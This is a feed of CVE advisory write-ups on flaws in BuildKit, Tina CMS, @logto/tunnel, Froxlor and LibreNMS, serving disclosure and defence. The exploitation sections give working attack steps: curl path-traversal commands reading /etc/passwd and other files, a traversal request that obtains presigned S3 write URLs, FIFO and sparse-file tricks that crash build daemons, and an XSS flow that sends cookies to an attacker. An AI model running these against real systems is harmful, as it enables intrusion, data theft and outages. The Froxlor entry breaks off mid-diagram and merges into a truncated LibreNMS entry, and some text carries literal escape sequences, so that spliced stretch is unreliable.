CVEReports

CVE-2026-61712: Denial of Service via Unbounded Resource Allocation in moby/buildkit

Alon Barad — Wed, 19 Aug 2026 20:24:01 GMT

{/* icon: search */} {/* type: overview */} ## Vulnerability Overview & Architectural Context BuildKit is the primary backend compilation engine for modern container ecosystems, translating declarative source files (such as Dockerfiles) into Low-Level Builder (LLB) Directed Acyclic Graphs (DAGs). This execution framework operates as a high-performance daemon (`buildkitd`) coordinating with various frontend interfaces. During intermediate compilation stages, BuildKit frequently switches process context ownership or checks system permissions. This requires translating symbolic user and group identifiers defined in instructions like `USER`, `COPY --chown`, or `RUN --mount=type=bind` into numeric execution parameters. To perform translation without executing full operating system commands inside the target runtime environment, BuildKit parses the target container's localized database files, specifically `/etc/passwd` and `/etc/group`. These files reside inside the root filesystem (rootfs) configuration path of the target image state. The attack surface exists because these files are inherently user-controlled, extracted from base images that may be obtained from untrusted or public container registries. The vulnerability is classified under CWE-770 (Allocation of Resources Without Limits or Throttling). It represents a critical architectural gap where unvalidated, external inputs directly dictate the magnitude of resource allocations within the privileged host service environment. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The vulnerability lies within the identity resolution code paths located in `executor/oci/user.go` and `solver/llbsolver/ops/user_linux.go`. When processing instructions requiring user or group translation, the daemon resolves the target file path via `fs.RootPath(root, p)` to guarantee that path resolution remains jailed within the container's virtual root directory. It then attempts to open the file descriptor using a standard `os.Open` call. In vulnerable versions, the application immediately reads and processes the entire contents of these files into heap memory. This open-and-read sequence lacked any size constraints or metadata validation. If the target file size is expanded to several gigabytes, the Go runtime allocates dynamic slice buffers to hold the read contents. Because the Go runtime heap allocator increases buffer capacities exponentially when growing slices, memory consumption quickly balloons, triggering the Linux host's Out-Of-Memory (OOM) killer to terminate the parent `buildkitd` daemon. In addition to memory exhaustion, the original implementation failed to inspect the file mode mask returned by the file status system call. If an attacker configured `/etc/passwd` or `/etc/group` as a named pipe (FIFO) or a blocking character device, the Go synchronous file read call blocked indefinitely waiting for data. This behavior effectively starves the internal worker pool of active threads, resulting in a thread-leak denial-of-service condition where the build process hangs without recovering. {/* icon: code */} {/* type: deep-dive */} ## Source Code Vulnerability and Patch Walkthrough An analysis of the fix implemented across the vulnerable modules highlights how the boundary enforcement was engineered. The patch introduces a rigid upper boundary (`maxUserFileBytes = 10 << 20`, or 10 MiB) and adds explicit verification of the file mode using `f.Stat()`. Below is the technical diff showing the integration of the size constraints and type validation within `executor/oci/user.go`: ```go // Patched implementation in executor/oci/user.go const maxUserFileBytes = 10 << 20 func openUserFile(root, p string) (io.ReadCloser, error) { p, err := fs.RootPath(root, p) if err != nil { return nil, errors.WithStack(err) } f, err := os.Open(p) if err != nil { return nil, errors.WithStack(err) } // Verify file properties prior to allocating parsing buffers info, err := f.Stat() if err != nil { f.Close() return nil, errors.WithStack(err) } if !info.Mode().IsRegular() { f.Close() return nil, errors.Errorf("%s is not a regular file", p) } // Restrict stream consumer read capacities return &limitedReadCloser{ ReadCloser: f, r: &io.LimitedReader{R: f, N: maxUserFileBytes + 1}, name: p, }, nil } ``` The wrapper structure `limitedReadCloser` implements the custom read control. If the underlying `io.LimitedReader` counts down to zero, meaning the file size exceeds the 10 MiB threshold, the routine immediately returns an error, halting further parsing and releasing the associated memory allocations. ```go type limitedReadCloser struct { io.ReadCloser r *io.LimitedReader name string } func (l *limitedReadCloser) Read(p []byte) (int, error) { n, err := l.r.Read(p) if l.r.N == 0 { return n, errors.Errorf("%q exceeds %d bytes", l.name, maxUserFileBytes) } return n, err } ``` This defensive design is highly effective. The use of `fs.RootPath` prevents symlink-based container breakouts, and the combination of `IsRegular()` checks and `io.LimitedReader` prevents resource exhaustion. {/* icon: terminal */} {/* type: exploit */} ## Attack Methodology and Threat Modeling To exploit this vulnerability, an attacker must introduce a malformed base image or a malicious local directory context into the BuildKit pipeline. This is typically achieved in environments that allow arbitrary Dockerfile execution, such as multi-tenant CI/CD platforms. ```mermaid graph LR A["Attacker Image Registry"] -- "1. Pull Base Image" --> B["BuildKit Daemon (buildkitd)"] B -- "2. Process USER / chown Instruction" --> C["Open /etc/passwd in Rootfs"] C -- "3a. File is FIFO / Pipe" --> D["Indefinite Block / Thread Exhaustion"] C -- "3b. File > 10 MiB (Sparse File)" --> E["Host RAM Exhausted"] E --> F["Linux Kernel OOM Killer Activates"] F --> G["buildkitd Terminated (DoS)"] style A fill:#f9f,stroke:#333,stroke-width:2px style G fill:#f66,stroke:#333,stroke-width:2px ``` To construct a memory-exhaustion payload, an attacker can create a sparse file of 15 Gigabytes directly within the `/etc/passwd` path of a custom base image. Because sparse files do not consume significant storage when compressed, they can easily be pushed to registries like Docker Hub. When BuildKit attempts to read the file, the uncompressed data expands fully in RAM, crashing the host daemon. Alternatively, to trigger a thread-exhaustion hang, the attacker can replace the `/etc/passwd` file in their image with a named pipe (FIFO) created via `mkfifo rootfs/etc/passwd`. When BuildKit initiates a build and encounters a `USER` directive, it calls `os.Open` on the named pipe and blocks, consuming system resources until the thread limit is reached. {/* icon: skull */} {/* type: deep-dive */} ## Severity and Impact Analysis The overall impact of CVE-2026-61712 is categorized as Low by the CVSS system (Base Score 2.3), reflecting specific limitations on attack vector requirements. Specifically, the vulnerability requires user interaction because an operator or pipeline runner must initiate a container build using the malicious Dockerfile or base image. However, in enterprise environments, the operational impact of a BuildKit crash can be severe. In shared or multi-tenant CI/CD platforms (such as Kubernetes-based runners using Tekton, Argo Workflows, or GitLab CI), a single malicious build step can terminate the shared `buildkitd` instance. This termination immediately disrupts all other parallel builds running on the same host, resulting in pipeline failures and cache corruption. Since no unauthorized file write or data access occurs, Confidentiality and Integrity are unaffected. The primary impact is localized availability degradation, which can be mitigated if automatic process managers (like systemd) restart the daemon immediately, though concurrent active builds must still be rescheduled and restarted from scratch. {/* icon: shield */} {/* type: mitigation */} ## Patching and Operational Remediation The permanent fix for this vulnerability is to upgrade BuildKit to version **0.31.1** or later. If immediate upgrades are not feasible, administrators can apply several configuration mitigations to reduce the risk of exploitation: * **Implement Daemon Memory Cgroups**: Run the `buildkitd` process under systemd slice configurations or cgroup directives that enforce physical memory limitations (e.g., `MemoryMax=4G`). This isolates memory exhaustion crashes and prevents host-level instability. * **Enable Automated Process Supervision**: Configure systemd or your container orchestrator to restart BuildKit automatically on failure, minimizing the duration of a denial-of-service event: ```ini [Service] Restart=always RestartSec=5s ``` * **Enforce Rootless BuildKit Execution**: Running `buildkitd` in rootless mode limits its access to host resources and adds layer of isolation between the build runner and the host operating system.

CVE-2026-59992: Broken Access Control and Path Traversal in Tina CMS Production Media Adapters

Amit Schendel — Wed, 19 Aug 2026 21:56:30 GMT

{/* icon: search */} {/* type: overview */} ## Vulnerability Overview CVE-2026-59992 represents a significant authorization bypass vulnerability in Tina CMS, specifically affecting its official production media adapters. These adapters include `next-tinacms-s3`, `next-tinacms-dos`, `next-tinacms-azure`, and `next-tinacms-cloudinary`. The role of these adapters is to bridge the CMS content editing interface with cloud-based asset storage solutions, enabling direct upload, deletion, and organization of media files.\n\nThe vulnerability is classified under CWE-639 (Authorization Bypass Through User-Controlled Key) and CWE-862 (Missing Authorization). While administrators can set a `mediaRoot` configuration to restrict editors to a logical directory within the cloud storage, this restriction was only validated during directory listings. Write and delete operations failed to enforce any directory containment boundaries, exposing a logical security bypass.\n\nAn authenticated CMS editor with otherwise restricted directory privileges can exploit this lack of sanitization to perform read, write, or delete actions across any object within the underlying cloud storage bucket or container. The impact is determined by the permissions assigned to the backend IAM user or storage client credential, allowing actions to occur outside the administrative boundaries defined by the CMS configuration. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-59992 lies in the asymmetrical implementation of path boundary enforcement across the Tina CMS media adapters. The configuration option `mediaRoot` is designed to define a hard boundary for media operations, creating an isolated namespace for standard editors. During directory listing operations (`listMedia`), the adapters correctly restricted visibility to the specified prefix, leading administrators to believe that containment was strictly enforced.\n\nHowever, the API endpoints responsible for mutations—specifically file creation, presigned URL generation, and deletion—accepted arbitrary, user-supplied key and directory parameters from incoming HTTP requests without verification. The backend passed these parameters directly to the underlying SDKs, such as the AWS SDK for S3 or the Azure Storage SDK, bypassing directory limits.\n\nBecause the adapters did not validate that the target file path started with the configured `mediaRoot` prefix, they allowed directory traversal sequences (such as `../`) or absolute path specifications. This failure to sanitize incoming paths allowed authenticated users to access and manipulate any key within the entire cloud bucket or container, effectively escalating their capabilities to the permission levels of the server's cloud credentials. {/* icon: code */} {/* type: deep-dive */} ## Code-Level Analysis A review of the vulnerable codebase in the S3 media handler reveals how client-supplied values were handled. In `packages/next-tinacms-s3/src/handlers.ts`, the upload routine retrieved the object key directly from `req.query.key`. It then passed this unvalidated key to the S3 client to generate a presigned upload URL, enabling unchecked writes.\n\n```typescript\n// Vulnerable write path in next-tinacms-s3\nconst s3_key = req.query.key\n ? Array.isArray(req.query.key)\n ? req.query.key[0]\n : req.query.key\n : null;\n// This key was passed straight to the S3 PutObject request generator\n```\n\nThe corresponding patch introduced a unified validation layer using a helper utility named `media-key.ts`. This helper implements the `resolveKey` function, which normalizes the input path and verifies that the resulting string is prefixed by the configured `mediaRoot` directory boundary.\n\n```typescript\n// Patched write path enforcing mediaRoot containment\nlet s3_key: string;\ntry {\n // Enforce boundary verification using the centralized helper\n s3_key = resolveKey(mediaRoot, rawKey, { decode: false });\n} catch (e) {\n if (e instanceof MediaKeyError) {\n return res.status(400).json({ message: e.message });\n }\n throw e;\n}\n```\n\nThe helper utility `resolveKey` mitigates path traversal by checking for NUL bytes, validating Windows and Unix path separators, and verifying that the final path starts with the designated `mediaRoot`. It throws a `MediaKeyError` if any portion of the path resolves to a location outside the containment boundary. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation of CVE-2026-59992 requires an attacker to possess valid credentials for a Tina CMS editor account. Since the vulnerability is located within the authenticated API handlers, unauthenticated attackers cannot exploit this weakness directly. However, any standard editor role with access to the media library interface is sufficient to trigger the flaw.\n\nTo perform an unauthorized write operation on an AWS S3 backend, the attacker intercepts or constructs an API request directed at the S3 media endpoint (commonly `/api/s3/media`). By providing a path traversal payload such as `../` in the `key` parameter, the attacker forces the backend to generate a presigned `PutObject` URL for a target outside of their authorized directory.\n\n```http\nGET /api/s3/media?key=../critical-assets/index.html HTTP/1.1\nHost: target-cms-domain.com\nAuthorization: Bearer \n```\n\nThe server returns a signed Amazon S3 URL, which the attacker then uses to write directly to the target storage location. Deletion attacks proceed similarly, where the attacker issues a `DELETE` request containing traversal sequences in the `media` parameter to trigger S3's `DeleteObjectCommand` on files belonging to other tenants or systems. {/* icon: skull */} {/* type: deep-dive */} ## Impact Assessment The security impact of CVE-2026-59992 is significant for multi-tenant deployments or configurations where the underlying storage bucket is shared with other applications. While the vulnerability has a CVSS v3.1 score of 5.4, the actual impact in production environments depends heavily on the level of permissions granted to the storage credentials used by the CMS server.\n\nIf the server's IAM role or API keys possess write and delete permissions across the entire storage bucket (which is a common deployment practice), an attacker can overwrite, modify, or delete critical application assets, database backups, configuration files, or other tenant data stored in the same bucket. This can lead to persistent denial of service, data loss, or secondary client-side attacks like stored cross-site scripting (XSS) if the attacker overwrites served static files.\n\nThe vulnerability does not directly expose read operations on arbitrary keys through the media handlers, restricting the immediate impact to integrity (unauthorized file creation/modification) and availability (unauthorized deletion). However, the ability to generate long-lived presigned URLs (up to seven days via the unchecked `expiresIn` parameter) provides attackers with persistent offline write access. {/* icon: shield */} {/* type: mitigation */} ## Remediation and Detection Guidance To remediate CVE-2026-59992, administrators must upgrade the affected Tina CMS media adapter packages to version 23.0.4 or higher (or version 14.0.4/26.0.4 depending on the specific adapter used). These updates introduce the `resolveKey` verification function, ensuring that all client-requested operations are strictly confined within the configured `mediaRoot` directory.\n\nIn addition to upgrading, organizations should implement defense-in-depth measures by configuring the cloud IAM policies to enforce the same directory restrictions at the storage layer. For example, AWS IAM policies should restrict the server's credentials to the specific `mediaRoot` prefix using policy conditions or resource limits, rather than granting blanket write and delete permissions to the entire bucket.\n\nDetection of exploitation attempts can be achieved by analyzing web server access logs for anomalous directory traversal characters (such as `%2e%2e%2f` or `..`) in the query strings of the media endpoints. Cloud-level audit logs, such as AWS CloudTrail or S3 Server Access Logs, should also be monitored for write and delete events that occur outside the designated media directories, especially those initiated by the CMS server's credentials.

CVE-2026-63123: Cross-Site Request Forgery leading to Cross-Origin Arbitrary File Write in @tinacms/cli

Amit Schendel — Wed, 19 Aug 2026 21:56:36 GMT

{/* icon: search */} {/* type: overview */} ## Vulnerability Overview The `@tinacms/cli` package includes a local development server intended to run during project editing phases. This development server typically binds to local ports such as `http://localhost:4001` to process API operations. To support development workflows, the server exposes state-changing endpoints like `/media/upload` for managing asset uploads, as well as GraphQL and search index endpoints. While the server utilized standard Cross-Origin Resource Sharing (CORS) configurations, it relied on these mechanisms as an access control boundary. This design choice overlooked the functional limits of browser CORS policies, which govern read restrictions rather than write blocks. Consequently, the local server was exposed to cross-origin requests dispatched by external pages opened in the developer's browser, bypassing standard CORS origin protections. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The fundamental flaw in `@tinacms/cli` is the conceptual misuse of CORS middleware for server-side request filtering. The server leveraged the npm `cors` package to evaluate the `Origin` header. However, CORS standard behaviors indicate that the `Access-Control-Allow-Origin` headers only restrict the calling web application's ability to read responses; they do not prevent browsers from executing requests. Under standard browser semantics, a `POST` request using `multipart/form-data` is categorized as a "simple request." As a result, the browser skips sending a preflight `OPTIONS` request and directly transmits the `POST` payload to the target local server. Although the browser eventually blocks the malicious page from reading the response due to the lack of appropriate CORS headers, the server-side state-changing code—such as the file write routine inside `mediaRouter.handlePost`—executes to completion. This leaves the developer vulnerable to silent file injection. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis In vulnerable versions, the route plugins for the Vite dev server processed inbound requests regardless of origin validation results. The `cors` check only appended headers but never aborted processing. The fix introduces a structured `isOriginAllowed` logic step that performs active server-side gating. ```typescript // Server-Side Origin Guarding Implementation export function isOriginAllowed( origin: string | undefined, allowedOrigins: (string | RegExp)[] = [] ): boolean { // Allow requests with no Origin header (curl, same-origin, etc.) if (!origin) { return true; } if (LOCALHOST_RE.test(origin)) { return true; } for (const allowed of expandOrigins(allowedOrigins)) { if (typeof allowed === 'string') { if (allowed === origin) { return true; } } else { allowed.lastIndex = 0; if (allowed.test(origin)) { return true; } } } return false; } ``` The routes now actively evaluate each transaction using `isStateChangingRequest()` and reject unauthorized requests immediately: ```typescript // Gating inside plugins.ts const isStateChangingRequest = (req: { url?: string; method?: string }) => { const url = req.url || ''; if (url.startsWith('/media/upload')) return true; if (url.startsWith('/media') && req.method === 'DELETE') return true; if (url.startsWith('/graphql') && req.method === 'POST') return true; if ( (url.startsWith('/searchIndex') || url.startsWith('/v2/searchIndex')) && (req.method === 'POST' || req.method === 'DELETE') ) return true; return false; }; // Gating check prior to parsing execution if ( isStateChangingRequest(req) && !isOriginAllowed(req.headers.origin, allowedOrigins) ) { res.statusCode = 403; res.end(JSON.stringify({ error: 'Origin not allowed' })); return; } ``` {/* icon: terminal */} {/* type: exploit */} ## Exploitation Analysis To exploit this vulnerability, an attacker must trick a developer who has an active local `tinacms dev` instance running into visiting a malicious site. The malicious site hosts JavaScript that initiates a background HTTP `POST` request targeting `http://localhost:4001/media/upload/payload.js`. The payload uses standard web APIs to generate a `multipart/form-data` payload containing arbitrary code. Because the browser classifies this as a simple request, the browser submits the multipart payload directly to the localhost server. The server, lacking origin checks, executes the write handler and drops the arbitrary file into the local workspace directory. {/* icon: lock */} {/* type: deep-dive */} ## Impact Assessment The concrete security impact is high-severity local file manipulation. Since the development server can write arbitrary files to the media root or local folders, an attacker can overwrite crucial configuration parameters, template structures, or executable scripts in modern build configurations. Depending on the specific file system layout and build pipeline configurations, a malicious file write could achieve local remote code execution (RCE) on the developer's machine when compilation or local server execution cycles read the modified or written configuration files. {/* icon: shield */} {/* type: mitigation */} ## Remediation & Mitigation The primary remediation strategy is upgrading the `@tinacms/cli` dependencies to a secure version. Upgrade the package to version `2.5.2` or later to ensure the server-side origin validations are active. As a secondary security measure, developers should ensure that local dev servers are bound strictly to local loopback interfaces (e.g., `127.0.0.1` or `[::1]`) rather than public or shared network interfaces.

CVE-2026-63188: Unauthenticated Directory Traversal in @logto/tunnel

Alon Barad — Wed, 19 Aug 2026 20:24:06 GMT

{/* icon: search */} {/* type: overview */} ## Vulnerability Overview Logto serves as an open-source identity and access management system designed for modern multi-tenant environments. To facilitate custom sign-in flows, Logto contains a tunnel utility (@logto/tunnel) that allows developers to run a local static asset server for testing personalized web assets. When initialized, this tunnel exposes an interface through which clients can request custom HTML pages, stylesheets, and JavaScript files directly from a designated local workspace. The exposure is located inside the static file proxy implementation within the @logto/tunnel package. When processing static asset requests, the tunnel service accepts the request path from the incoming HTTP transaction. Because this proxy function failed to isolate requests within the specified root directory, it opened an unauthenticated attack surface. An attacker who can reach this proxy port can supply directory traversal sequences in the requested path. This enables the retrieval of sensitive filesystem objects. The vulnerability is cataloged as CVE-2026-63188 and carries a High severity CVSS v4.0 base score of 8.7. ```mermaid graph LR A["Attacker Client"] -- "GET /../../../../etc/passwd HTTP/1.1" --> B["Local Tunnel Server Port 3000/tcp"] B -- "path.join('/static', '/../../../../etc/passwd')" --> C["Resolved Absolute Path: /etc/passwd"] C -- "fs.open and fs.readFile" --> D["System Kernel Sensitive Data Exfiltration"] ``` {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-63188 lies in the programmatic construction of filesystems paths using raw, unvalidated HTTP request paths. In vulnerable versions of @logto/tunnel prior to 0.3.9, the local server implemented static asset serving by resolving paths directly via Node.js native path modules. Specifically, the request route logic used request.url to match files within the directory provided by the --experience-path argument. When an HTTP client executes a request, the request.url property contains the path portion of the request URL. In a secure static server implementation, this input must be treated as untrusted and normalized, percent-decoded, and validated to ensure it cannot escape the static root. However, the vulnerable logic directly supplied request.url to path.join. The path.join utility in Node.js joins all given path segments together and normalizes the resulting path. If the joint path contains relative directory traversal characters such as ../, the utility evaluates these segments lexically. If the input contains a series of traversal segments that exceed the depth of the static root directory, the resolved path ascends beyond the root and references parent directories on the host operating system. Once the lexical normalization completes, the application utilizes the resulting path string directly in an asynchronous filesystem opening function. Because the application executes no logical validation checking whether the resolved canonical target resides within the boundaries of the defined static directory, the operating system kernel fulfills the request. This exposes any file readable by the process owner. {/* icon: code */} {/* type: deep-dive */} ## Code-Level Vulnerability and Fix Analysis To understand the mechanics of the patch, it is necessary to examine the vulnerable code path inside packages/tunnel/src/commands/tunnel/utils.ts. The vulnerable version processed requests through an unconstrained resolution sequence: ```typescript // VULNERABLE CODE PATH if (request.method === 'HEAD' || request.method === 'GET') { const fallBackToIndex = !isFileAssetPath(request.url); // Vulnerability: No sanitization of request.url before joining with staticPath const requestPath = path.join(staticPath, fallBackToIndex ? index : request.url); const { range = '' } = request.headers; const readFile = async (requestPath: string, start?: number, end?: number) => { // Arbitrary file resolution and read const fileHandle = await fs.open(requestPath, 'r'); // ... read and return file data }; } ``` The security remediation introduces the getSafeStaticFilePath helper in commit 5686815955534f803d3d50738259efd0f741e62c to enforce strict logical boundaries. Below is the updated, secure implementation: ```typescript // PATCHED CODE PATH export const getSafeStaticFilePath = (staticPath: string, requestUrl: string) => { // Step 1: Isolate the pathname from query and fragment identifiers const [pathname = ''] = requestUrl.split(/[#?]/); // Step 2: Safely percent-decode the pathname to handle obfuscated payloads const decodedPathname = trySafe(() => decodeURIComponent(pathname)); // Step 3: Block Windows backslash sequences to prevent bypasses on Windows nodes if (!decodedPathname || decodedPathname.includes('\\')) { return; } // Step 4: Resolve the configured static path into an absolute canonical path const staticRoot = path.resolve(staticPath); // Step 5: Clean leading slashes from the request path to ensure relative mapping const requestPath = decodedPathname.replace(/^\/+/, ''); // Step 6: Generate the final target resolution const resolvedPath = path.resolve(staticRoot, requestPath); // Step 7: Evaluate the relative position of the resolved file versus the root const relativePath = path.relative(staticRoot, resolvedPath); // Step 8: Strict guard - verify if target resolves outside the static boundaries if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { return; } return resolvedPath; }; ``` The introduced fix is robust. By processing path.relative(staticRoot, resolvedPath), the application explicitly measures the logical distance between the authorized root and the resolved target. If the output of path.relative begins with .., it mathematically proves that the targeted resource requires traveling upward from the static root. The inclusion of decodeURIComponent ensures that URL-encoded bypasses such as %2e%2e are decoded prior to calculation, preventing path traversal evasion. {/* icon: terminal */} {/* type: exploit */} ## Exploitation Methodology Exploitation of CVE-2026-63188 is direct and does not require complex orchestration or prior authentication. An attacker must first establish network connectivity to the port exposed by the @logto/tunnel instance. Typically, this service is spawned when developers test localized customization flows, but if bound to wildcards (0.0.0.0), the port becomes accessible on local area networks or public addresses. Once connectivity is confirmed, the attacker constructs HTTP GET requests containing directory traversal sequences. When using common utilities like curl, standard client-side path normalization will automatically resolve traversal sequences before transmission. Therefore, the attacker must supply the --path-as-is command-line flag or execute the request via raw socket streams. ```bash # Standard exploitation targeting POSIX system files curl --path-as-is http://target-host:3000/../../../../../../etc/passwd ``` ```bash # Evasion attempt targeting Node.js execution on a Windows host curl --path-as-is http://target-host:3000/..\\..\\..\\..\\Windows\\win.ini ``` ```bash # Targeted extraction of local application dependencies and configuration structures curl --path-as-is http://target-host:3000/../package.json ``` Upon receiving these payloads, the server processes the traversal input. Since the server lacks validating checks, it attempts to open the corresponding OS path. The server then responds with an HTTP status code 200 and the content of the targeted system file in the response body. {/* icon: lock */} {/* type: deep-dive */} ## Impact Assessment The impact of this path traversal vulnerability is significant. While @logto/tunnel is primarily positioned as a development utility, developers often execute these services within cloud containers, staging instances, or local production systems. If the service is running with high OS-level privileges (such as root or Administrator), the entire filesystem becomes accessible to unauthenticated remote attackers. Through arbitrary file read capabilities, attackers can exfiltrate sensitive files, including system secrets, configuration maps, environment variables containing API keys, database credentials, and SSH private keys. In modern microservice and cloud architectures, the leak of a single configuration file or environment block can allow an attacker to pivot and compromise entire cloud networks. Additionally, reading application source code or operational metadata permits attackers to map out vulnerabilities inside surrounding software components. Since no write access is granted directly via this directory traversal, the impact is confined to high confidentiality loss (VC:H), while integrity (VI:N) and availability (VA:N) remain unaffected. {/* icon: shield */} {/* type: mitigation */} ## Detection and Remediation The primary and recommended mitigation for CVE-2026-63188 is upgrading @logto/tunnel to version 0.3.9 or higher. This upgrade ensures that the getSafeStaticFilePath helper actively validates and rejects traversal patterns before files are accessed. If immediate updates are not feasible, several defensive controls can be implemented to minimize risk. First, modify the launch parameters of the tunnel utility to bind specifically to the loopback interface (127.0.0.1 or ::1) instead of the wildcard address. This limits exploitation capabilities to local processes on the host. Network access control lists or host-based firewall configurations must be configured to drop any inbound external packets directed at the tunnel ports. For network detection, network intrusion detection systems (NIDS) can monitor traffic for suspicious traversal requests. Security engineers can also deploy Web Application Firewalls (WAF) to inspect incoming request paths and block requests containing relative path segments. Finally, running host-based file monitoring tools can help identify unauthorized reads to critical directories such as /etc or directory structural locations outside of web workspaces.

CVE-2026-54347: Stored Cross-Site Scripting in Froxlor DNS TXT Record Configuration

Amit Schendel — Tue, 18 Aug 2026 20:47:53 GMT

{/* icon: search */} {/* type: overview */} ## Vulnerability Overview Froxlor is an open-source hosting management panel that allows administrators to delegate server administration resources to customers. The core platform handles domain provisioning, mail server routing, and Domain Name System (DNS) zone management. Because customers are permitted to configure their own DNS zones, the interfaces associated with DNS record creation form an entry point to the application's data-persistence layers. This vulnerability, tracked as CVE-2026-54347 (GHSA-43gm-9rr3-cx7g), resides in the presentation layer of the DNS management module. Specifically, the vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). It represents a stored cross-site scripting flaw that bridges security boundaries between non-privileged customer sessions and high-privilege administrative sessions. The attack surface is exposed via the customer-facing DNS record management interface. While customers are restricted to managing records associated with their assigned domains, administrators regularly audit, troubleshoot, or modify these same zones from the administrative panel. Consequently, malicious payloads injected into customer-controlled records can target administrative sessions. {/* icon: bug */} {/* type: deep-dive */} ## Root Cause Analysis The root cause of CVE-2026-54347 is a failure of context-aware output encoding when rendering dynamically formatted database records within Twig templates. The flow of data from input to execution follows a multi-stage pipeline across the MVC layout of the Froxlor DNS management module. First, input ingestion occurs via `lib/Froxlor/Api/Commands/DomainZones.php`. When a customer saves a DNS TXT record, the controller relies on a restrictive regular expression for sanitization: ```php $content = preg_replace('/[^\x09\x20-\x7E]/', '', $content); ``` This filter removes non-printable ASCII and binary control characters but explicitly preserves standard printable ASCII characters. Characters such as `<` and `>` are stored in the database without modifications or encoding. Second, the formatting layer modifies the string prior to UI generation. The application uses UI callbacks to adjust long strings inside data tables. For TXT records, the application calls the `Text::wordwrap` callback, located in `lib/Froxlor/UI/Callbacks/Text.php`, which inserts HTML line breaks (`
`) every 100 characters to prevent layout distortion. Third, the rendering pipeline processes the string. Because the `Text::wordwrap` callback injects physical `
` elements that must be interpreted as HTML markup by the browser, the template file responsible for rendering table cells (`templates/Froxlor/table/table.html.twig`) disables auto-escaping using the `|raw` filter. The raw output is delivered directly to the browser, leading to script execution. {/* icon: code */} {/* type: deep-dive */} ## Code Analysis and Patch Verification The vulnerability was resolved in version 2.3.8 by introducing context-aware sanitization inside the callback before string processing occurs. The following diff highlights the code modification applied in `lib/Froxlor/UI/Callbacks/Text.php`: ```diff @@ -92,7 +92,7 @@ public static function shorten(array $attributes): string public static function wordwrap(array $attributes): string { - return wordwrap($attributes['data'], 100, '
', true); + return wordwrap(htmlspecialchars($attributes['data']), 100, '
', true); } public static function customerNoteDetailModal(array $attributes): array ``` Applying `htmlspecialchars` directly to `$attributes['data']` prior to the `wordwrap` execution transforms characters like `<` and `>` into their equivalent HTML entities (`<` and `>`). This process occurs prior to the insertion of the raw `
` strings. When the Twig template processes the modified output using the `|raw` filter, the browser interprets the `
` tags as actual carriage returns but displays the underlying script tags as literal text instead of executing them. Although this patch secures the specific `Text::wordwrap` callback, the underlying Twig template (`table.html.twig`) continues to use the `|raw` filter for cell rendering. This architecture introduces a reliance on individual callback developers to enforce escaping. Any future callback added to the platform that handles user-supplied data without manually applying `htmlspecialchars` or equivalent sanitization filters will reintroduce similar stored XSS vulnerabilities. {/* icon: terminal */} {/* type: exploit */} ## Exploitation and Attack Path Exploitation of CVE-2026-54347 requires an attacker to possess valid credentials for a customer account configured with permission to manage domain zone files. No administrative or high-privilege access is required to initiate the attack. ```mermaid graph LR A["Attacker (Customer Role)"] -- "Submit TXT Record with ", "msg": "Malicious config commit" } ``` ```mermaid graph LR Attacker["Attacker (Admin / API Exploit)"] -->|"Configures Malicious url"| LibreNMSServer["LibreNMS Server"] User["User Browser"] -->|"Navigates to showconfig Tab"| LibreNMSServer LibreNMSServer -->|"SSRF Query (Fetch Node Info)"| MaliciousServer["Malicious Oxidized Server"] MaliciousServer -->|"Malicious JSON Payload"| LibreNMSServer LibreNMSServer -->|"Echoes unescaped XSS"| User ``` When an operator views the showconfig page, the backend fetches this JSON and outputs the unescaped script fragments. The operator's browser executes the script, transmitting cookie identifiers and anti-CSRF tokens back to the attacker's server. {/* icon: shield */} {/* type: deep-dive */} ## Impact Assessment The security impact of this vulnerability is assessed with a High severity rating, reflecting a CVSS score of 8.1. The attack vector is Network-based, and complexity remains low since exploitation steps do not depend on environmental variables or memory-alignment layouts. Because the execution occurs directly within the active browser session of users, the scope of the vulnerability changes from the local database settings to the client-side execution environment. A successful exploit allows the attacker to execute arbitrary JavaScript code with the permissions of the viewing user. If the viewing user possesses super-administrator privileges, this execution can be leveraged to hijack sessions or modify system configurations. The lack of immediate availability impact does not minimize the security risk. Attackers can leverage the active XSS vectors to perform administrative state changes on the monitoring server, such as provisioning additional administrative keys, altering automated network discovery rules, or modifying integration settings to compromise other devices. {/* icon: lock */} {/* type: mitigation */} ## Remediation & Detection Guidance Remediation requires updating LibreNMS to version 26.7.0 or later, which incorporates the output escaping patch. For deployments where immediate patch implementation is not possible, specific temporary mitigation strategies should be enforced. First, restrict write permissions for the configuration page and block unauthorized access to the database where integration settings are stored. Administrators can manually disable the Oxidized integration in the config directory to prevent any background connections to the external URL. Second, implement network segregation on the LibreNMS server to prevent arbitrary outbound connections. By configuring local firewall rules that block outbound traffic on ports 80 and 443 to non-whitelisted addresses, organizations can limit the risk of server-side request forgery (SSRF) and mitigate the retrieval of malicious JSON payloads.